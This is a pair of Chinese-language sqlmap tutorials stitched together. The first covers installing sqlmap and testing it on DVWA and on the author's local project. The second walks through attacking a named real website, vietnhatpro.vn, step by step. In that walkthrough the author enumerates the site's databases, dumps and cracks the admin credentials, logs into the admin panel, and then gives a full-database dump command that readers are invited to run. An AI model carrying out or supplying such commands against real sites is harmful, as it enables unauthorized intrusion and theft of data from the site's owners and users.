3. windows安装sqlmap3.1 下载压缩包3.2 解压⽂件解压到任意⽂件夹皆可解压以后⼤概是这个样⼦的3.3 启动⼀个命令⾏,执⾏sqlmap.py如果出现这个界⾯,表⽰⼀切正常按任意键结束4. 测试sqlmap功能4.1 使⽤DVWA测试⽹站4.1.1 关于dvwa这个⽹站有sql漏洞,专门拿来测试⽤,不知道是哪位好⼼⼈搞出来的4.1.2 操作⾸先登陆成功以后三步⾛,拿到需要的urlimage.png拿到url以后,就可以使⽤这个url来注⼊了python2 sqlmap.py -u "http://43.247.91.228:81/vulnerabilities/sqli/?id=1&Submit=Submit#"出现如下结果,则表⽰sqlmap检测到有可以注⼊的地⽅,ps:如果没有检测到可以注⼊的地⽅,会显⽰如下image.png既然检测到有可以注⼊的地⽅,现在我们就来通过这个注⼊来获取⼀些数据库的信息获取数据库python2 sqlmap.py -u "http://43.247.91.228:81/vulnerabilities/sqli/?id=1&Submit=Submit#" --dbs可以看到执⾏以后拿到了数据库的信息再进⼀步,获取数据库中表的信息python2 sqlmap.py -u "http://43.247.91.228:81/vulnerabilities/sqli/?id=1&Submit=Submit#" -D dvwa --tables可以看到,拿到了dvwa这个库中的所有表的名字image.png再进⼀步,获取表中的字段信息python2 sqlmap.py -u "http://43.247.91.228:81/vulnerabilities/sqli/?id=1&Submit=Submit#" -D dvwa -T users --columns可以看到,拿到了表中的所有字段4.2 使⽤本地⽹站4.2.1 本地⽹站是本地的项⽬,现在⽤本地的项⽬跑起来来测试sqlmap4.2.2 操作--url1执⾏:python2 sqlmap.py -u "http://localhost:9099/tjcx/qyzxcx/zscq/sbxx/years?nsrsbh='1234000048500077X3'" --method=POST可以看到,没有访问到正确的连接,⽽是被重定向到了登陆的login页⾯,这是因为这个⽹站需要登陆,没有登陆的情况访问链接就会被重定向到登陆页⾯,所以在这⾥现在浏览器中登陆,然后拿到浏览器的cookie,让sqlmap携带着cookie再去攻击拿到浏览器的cookie执⾏(携带cookie):python2 sqlmap.py -u "http://localhost:9099/tjcx/qyzxcx/zscq/sbxx/years?nsrsbh='1234000048500077X3'" --cookie="JSESSIONID=9446902e-703b-4c81-914a-9abbd90ed9ce" --method=POST执⾏结果:可以看到,并没有找到可以注⼊的地⽅image.png观察这个⽹站的⽇志,也可以看到,这个接⼝被调⽤很多次,都是sqlmap⾃动调⽤的,它在尝试寻找可以注⼊的地⽅image.png4.2.3 操作--url2同样携带cookie执⾏:python2 sqlmap.py -u "http://localhost:9099/record/user/2019-03-09" --cookie="JSESSIONID=9446902e-703b-4c81-914a-9abbd90ed9ce" --method=GET执⾏结果,没有发现可以注⼊的地⽅查看⽹站后台,接⼝同样被调⽤多次4.2.3 操作--url3url3:127.0.0.1:9099/open/qyxx/jcsj_gs?nsrsbh=110101717802684,这也是⼀个get请求,但是不同的是,这个接⼝不需要cookie就可以访问,但是需要携带正确的header才可以执⾏携带header执⾏:python2 sqlmap.py -u "127.0.0.1:9099/open/qyxx/jcsj_gs?nsrsbh=110101717802684" --method=GET --headers="type:pwd\nchannelPwd:f1e7e7f187f84cdfb4784481ed01abd5\nchannelId:FDDX_PWD"执⾏结果,没有找到可以注⼊的地⽅查看后台,接⼝同样被调⽤多次5. 总结简单的使⽤就是这样,需要⼀个url,有的可能需要携带cookie,有的可能需要携带header,如果找到了注⼊点,就可以拿到⼀些数据信息,但是现在的⽹站通常也⽐较难找到可以注⼊的url。
1.目标网站:
http://vietnhatpro.vn/
2.注入点:
这里可以自己找
http://vietnhatpro.vn/index.php/mod,product/task,view/id,20/
可以看到 他的url有点不一样,我们常识把他变成动态的
访问
http://vietnhatpro.vn/index.php/mod,product/task,view/?id=200
发现可以,和上面的地址等效,开始注入
3. 检测注入
sqlmap -u http://vietnhatpro.vn/index.php/mod,product/task,view/?id=200 –tables
发现可以注入,而且是mysql
但是发现开始接收 information 的那个没用的数据库,太浪费时间所以先关掉
4.列出数据库
sqlmap -u http://vietnhatpro.vn/index.php/mod,product/task,view/?id=200 –dbs
发现最后一行出现了有用的数据库 vietnhat_db
5. 指定数据库,开始找表
sqlmap -u http://vietnhatpro.vn/index.php/mod,product/task,view/?id=200 -D vietnhat_db –tables
开始接收表啦,马上就要成功了
Database: vietnhat_db [43 tables]
+-------------------------+
| user |
| admin_menu |
| lang |
| tbl_action |
| tbl_advert |
| tbl_attribute |
| tbl_contact |
| tbl_download |
| tbl_group_attribute |
| tbl_member |
| tbl_module_roll |
| tbl_news |
| tbl_nguoiban |
| tbl_partner |
| tbl_photo |
| tbl_product_attribute |
| tbl_product_attribute2 |
| tbl_productor |
| tbl_project |
| tbl_project_options |
| tbl_roll |
| tbl_service |
| tbl_shopping_cart |
| tbl_slideshow |
| tbl_user_online |
| tbl_usertype_moduleroll |
| tbl_warranty |
| tblabout |
| tblbanner |
| tblcomment |
| tblgroup |
| tblkhachhang |
| tblnguoiban |
| tblpartner |
| tblpoll |
| tblproduct |
| tblsupport |
| tblsystem |
| tblthongtin |
| tblusergroup |
| tblusergroup_moduleroll |
| tblvote |
| user_type |
这个就是数据库里面的表,我找到了user表,感觉里面可能有 管理员
6. 指定表,开始查找列
sqlmap -u http://vietnhatpro.vn/index.php/mod,product/task,view/?id=200 -D vietnhat_db -T user –columns
这里发现了 id,password, username 之后就没有必要继续下去了,我先关闭
7.开始查找内容
sqlmap -u http://vietnhatpro.vn/index.php/mod,product/task,view/?id=200 -D vietnhat_db -T user
-C id,username,password --dump
成功找到 admin
开始破解密码
成功找到密码
8. 开始寻找后台
尝试 http://vietnhatpro.vn/admin.php发现失败了尝试 http://vietnhatpro.vn/admin成功找到
登陆之后
发现全都不认识。
但是发现最下面有个系统config 可以切换成英语。
在这里我就关闭了
9. 开始脱裤
sqlmap -u http://vietnhatpro.vn/index.php/mod,product/task,view/?id=200 -D vietnhat_db –dump-all
有兴趣的自己去脱裤去吧、
再见。